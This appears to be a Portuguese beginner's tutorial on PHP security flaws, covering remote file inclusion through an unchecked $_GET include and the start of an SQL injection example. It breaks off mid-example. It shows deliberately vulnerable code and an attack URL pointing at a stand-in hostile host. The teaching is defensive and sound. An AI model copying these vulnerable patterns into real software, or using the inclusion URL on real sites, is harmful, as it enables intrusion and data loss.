Principais Falhas De Segurança No PHP
Ensaios: Principais Falhas De Segurança No PHP. Pesquise 862.000+ trabalhos acadêmicosPor: juju10 • 9/5/2013 • 1.076 Palavras (5 Páginas) • 674 Visualizações
Principais falhas de segurança no PHP
Hoje vou falar sobre alguns erros comuns que são cometidos por programadores que estão começando agora. Resolvi fazer esse post pois vejo diariamente em fóruns de PHP pessoas com erros em scripts que possuem rombos enormes de segurança…
Não prometo deixar o seu sistema tão protegido quanto o carro do Obama mas, sem dúvida, você vai evitar que muita gente faça um estrago considerável no seu site.
Se você se identificar com algumas dessas medidas não saia correndo e se jogue da ponte… Faça os devidos ajustes e tudo ficará bem.
Cuidados com a URL – Parte I
Uma falha muito comum são aqueles sites que, tentando usar um sistema “legal”, acabam abusando da sorte… São sites que incluem o conteúdo (via include()) baseado em uma variável do método $_GET. Exemplo:
01 <?php
02 // Verifica se a variável $_GET['pagina'] existe
03 if (isset($_GET['pagina'])) {
04 // Pega o valor da variável $_GET['pagina']
05 $arquivo = $_GET['pagina'];
06 } else {
07 // Se não existir variável, define um valor padrão
08 $arquivo = 'home.php';
09 }
10 include ($arquivo); // Inclui o arquivo
11 ?>
E na URL do site ficaria:
http://www.meusite.com.br/?pagina=contato.php
Com isso o “invasor” pode, por exemplo, colocar um caminho de um script externo no lugar da variável:
http://www.meusite.com.br/?pagina=http://sitedumal.net/deleta-banco.php
O seu site incluiria o arquivo normalmente e executaria tudo que existe dentro dele… O resto você já pode imaginar.
Evitar que isso aconteça é extremamente simples: é só criar um array contendo os nomes dos arquivos que poderão ser incluídos, dessa forma:
01 <?php
02 // Define uma lista com os arquivos que poderão ser chamados na URL
03 $permitidos = array('home.php', 'produtos.php', 'contato.php', 'empresa.php');
04
05 // Verifica se a variável $_GET['pagina'] existe E se ela faz parte da lista de arquivos permitidos
06 if (isset($_GET['pagina']) AND (array_search($_GET['pagina'], $permitidos) !== false)) {
07 // Pega o valor da variável $_GET['pagina']
08 $arquivo = $_GET['pagina'];
09 } else {
10 // Se não existir variável $_GET ou ela não estiver na lista de permissões, define um valor padrão
11 $arquivo = 'home.php';
12 }
13 include ($arquivo); // Inclui o arquivo
14 ?>
Viu? Adicionamos uma única linha e mais uma condição e está tudo resolvido. Com isso, se o atacante colocar lá o site dele na URL do seu site o PHP vai identificar que a variável $_GET['pagina'] existe mas não está no array $permitidos, então ele vai incluir o arquivo home.php.
Cuidados com a URL – Parte II
Outro erro comum é quando passamos parâmetros pela URL, por exemplo: o ID de uma categoria ou de um produto que, mais tarde, será buscado direto no banco para recolher algumas informações.
Geralmente o formato é o seguinte:
http://www.meusite.com.br/produtos.php?id=12
ou
http://www.meusite.com.br/?pagina=produtos.php&id=12
Com isso (se você não se preparar) você deixa uma porta aberta para um ataque famoso chamado SQL-Injection que nada mais é do que a inserção de um código SQL em um campo de texto ou parâmetro da URL que será enviado diretamente para o banco. Vamos a um exemplo:
01 <?php
02 // Formato da URL:
03 // http://www.meusite.com.br/produtos.php?id=12
04
05 // Salva o parâmetro da URL numa variável
06 $produto = $_GET['id'];
07
08 // Monta a consulta MySQL
09 $sql = "SELECT * FROM `produtos` WHERE `id` = '".$produto."' LIMIT 1";
10
11 // Executa a query
12 $query = mysql_query($sql);
13
...